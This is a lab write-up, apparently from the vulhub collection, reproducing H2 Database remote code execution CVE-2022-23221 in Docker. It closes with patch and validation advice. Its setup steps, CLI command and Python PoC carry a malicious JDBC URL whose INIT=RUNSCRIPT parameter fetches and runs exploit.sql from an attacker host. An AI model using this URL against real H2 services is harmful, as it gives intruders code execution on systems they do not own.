
H2-database-CVE-2022-23221 — Updated!
vulhub/H2-database/CVE-2022-23221
H2 Database RCE (CVE-2022-23221)
1. Resumo
-
Referência: https://nvd.nist.gov/vuln/detail/cve-2022-23221
-
O H2 é um sistema de gerenciamento de banco de dados relacional que oferece a capacidade de compilar e executar código Java diretamente dentro do mecanismo SQL.
-
O driver H2 analisa a URL JDBC para estabelecer a conexão entre o aplicativo e o banco de dados. Nesse processo, os parâmetros de configuração contidos na URL podem controlar o estado inicial ou o comportamento do banco de dados.
-
As versões problemáticas do H2 anteriores à 2.1.210 apresentam a falha de permitir a execução de scripts SQL remotos por meio do parâmetro INIT da URL JDBC. Ao explorar isso, um atacante pode injetar remotamente um script SQL malicioso e, por meio de sua sintaxe, executar comandos do sistema, o que desencadeia a vulnerabilidade CVE-2022-23221.
-
As características desta vulnerabilidade são as seguintes:
- Autenticação não necessária: qualquer pessoa com permissão para inserir uma URL JDBC pode usar esta vulnerabilidade para assumir o controle do sistema.
- Execução automática na inicialização do serviço: se o atacante modificar apenas o arquivo de configuração, a RCE (execução remota de código) ocorre automaticamente quando o serviço que usa o H2 é iniciado.
- Ocultação: é difícil para os desenvolvedores perceberem o ataque.
- Ampla área de impacto: devido à rapidez e leveza do H2, ele é usado para desenvolvimento/teste de vários serviços web. Como qualquer ambiente que permita definir a URL JDBC por meio de arquivo de configuração ou de entrada do usuário pode ser alvo de ataques usando esta vulnerabilidade, o impacto é grande.
-
Escopo de impacto da vulnerabilidade
- Versões afetadas: anteriores ao H2 2.1.210
- Versão corrigida: H2 2.1.210 ou superior
2. Condições da vulnerabilidade
- O H2 deve ser anterior à versão 2.1.210.
- A URL JDBC deve conter
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> bypass das configurações de segurança- A presença desses parâmetros desativa as configurações de segurança, fazendo com que o comando de execução de script remoto não seja bloqueado durante a inicialização e seja executado normalmente.
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'-> comando SQL executado automaticamente quando a conexão entre o aplicativo e o banco de dados é estabelecida- Se o valor do parâmetro INIT incluir o comando SQL RUNSCRIPT e o endereço do script malicioso, o H2 se conectará ao servidor, baixará o arquivo e o executará quando a conexão entre o aplicativo e o banco de dados H2 for estabelecida.
- O script SQL baixado deve conter a instrução SQL
CREATE ALIAS.- A instrução
CREATE ALIASdentro do script executado remotamente faz com que o H2 execute as funções Java do script dentro do banco de dados, resultando em RCE.
- A instrução
3. Configuração do ambiente
-
Cenário
- Configura-se um ambiente H2 vulnerável e insere-se uma URL JDBC maliciosa no H2. O H2 analisa essa URL sem validação adequada e baixa/executa o arquivo SQL do servidor attacker. Se no log do servidor h2-vulnerable forem exibidos a string “EXPLOITED” e os resultados dos comandos
id,whoamiepwd, isso significa que o ambiente H2 vulnerável foi configurado e que o arquivo exploit.sql foi baixado e executado remotamente a partir do servidor attacker durante o processo de análise da URL JDBC maliciosa.
- Configura-se um ambiente H2 vulnerável e insere-se uma URL JDBC maliciosa no H2. O H2 analisa essa URL sem validação adequada e baixa/executa o arquivo SQL do servidor attacker. Se no log do servidor h2-vulnerable forem exibidos a string “EXPLOITED” e os resultados dos comandos
-
Configuração do ambiente
docker compose up -d
- A execução do comando inicia os seguintes ambientes:
- h2-vulnerable: H2 2.0.206 (versão vulnerável anterior ao patch)
- H2 Web Console:
http://your-ip:8082 - Servidor TCP:
tcp://your-ip:9092
- H2 Web Console:
- attacker: servidor HTTP
http://your-ip:8000: fornece o arquivoexploit.sql
-
Após a configuração, acesse http://your-ip:8082 para ver a página web do H2.
4. Procedimento de reprodução
: Como o console web aplica políticas de segurança que podem filtrar os parâmetros que são condições da vulnerabilidade, insere-se diretamente a URL JDBC com parâmetros maliciosos via CLI para reproduzir a vulnerabilidade e verificar o resultado.
[Caso de solicitação normal]
-
URL JDBC normal: "jdbc:h2:mem:test"
-
Comando de solicitação normal
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
Resultado da execução

- Nenhuma requisição recebida no servidor attacker
- Nenhum log relevante exibido no servidor h2-vulnerable
[Caso de ataque à vulnerabilidade]
- URL JDBC maliciosa: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. Execução do ataque
-
Insira a URL JDBC maliciosa no driver H2 para tentar a conexão com o servidor attacker. Há duas maneiras de inserir a URL:
- Inserir diretamente a URL JDBC maliciosa no H2 Shell por meio da CLI.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- Executar o arquivo PoC.
python3 poc.py
2. Solicitação e execução do arquivo
-
O H2 solicita (HTTP GET) o arquivo exploit.sql ao servidor attacker, conforme
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'especificado no parâmetro INIT da URL JDBC, e o executa dentro do banco de dados H2.- Execute
docker logs attackerpara ver os logs das solicitações do arquivo exploit.sql recebidas do servidor h2-vulnerable.
docker logs attacker
- O servidor attacker retorna o arquivo exploit.sql solicitado, e o servidor h2-vulnerable executa o arquivo recebido. Nesse momento, a instrução CREATE ALIAS dentro do script induz a execução de código Java, resultando em RCE.
- Execute
5. Código do poc.py
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
6. Resultado da execução
-
Como resultado da execução do arquivo exploit.sql, os logs do servidor h2-vulnerable exibem a string “EXPLOITED” juntamente com os resultados dos comandos
id,whoamiepwd. -
É possível verificar os logs com
docker logs h2-vulnerable.docker logs h2-vulnerable`
=> Isso significa que o ambiente h2 vulnerável foi configurado e que o download remoto e a execução do arquivo foram bem-sucedidos durante o processo de análise da URL JDBC maliciosa pelo H2.
7. Medidas de mitigação
- Atualizar para H2 2.1.210 ou versões superiores
- Conteúdo do patch: restrição da execução de scripts externos pelo parâmetro INIT
- Data de lançamento: 2022-05-15
- Reforçar a validação de entrada da URL JDBC: bloquear entradas que contenham parâmetros como INIT e RUNSCRIPT que causam execução remota de código e validar a URL JDBC com base em uma lista de permissões (whitelist).
- Monitoramento da integridade de configurações e do ambiente: ao alterar arquivos de configuração, verificar se houve adulteração e então seguir para aprovação do administrador.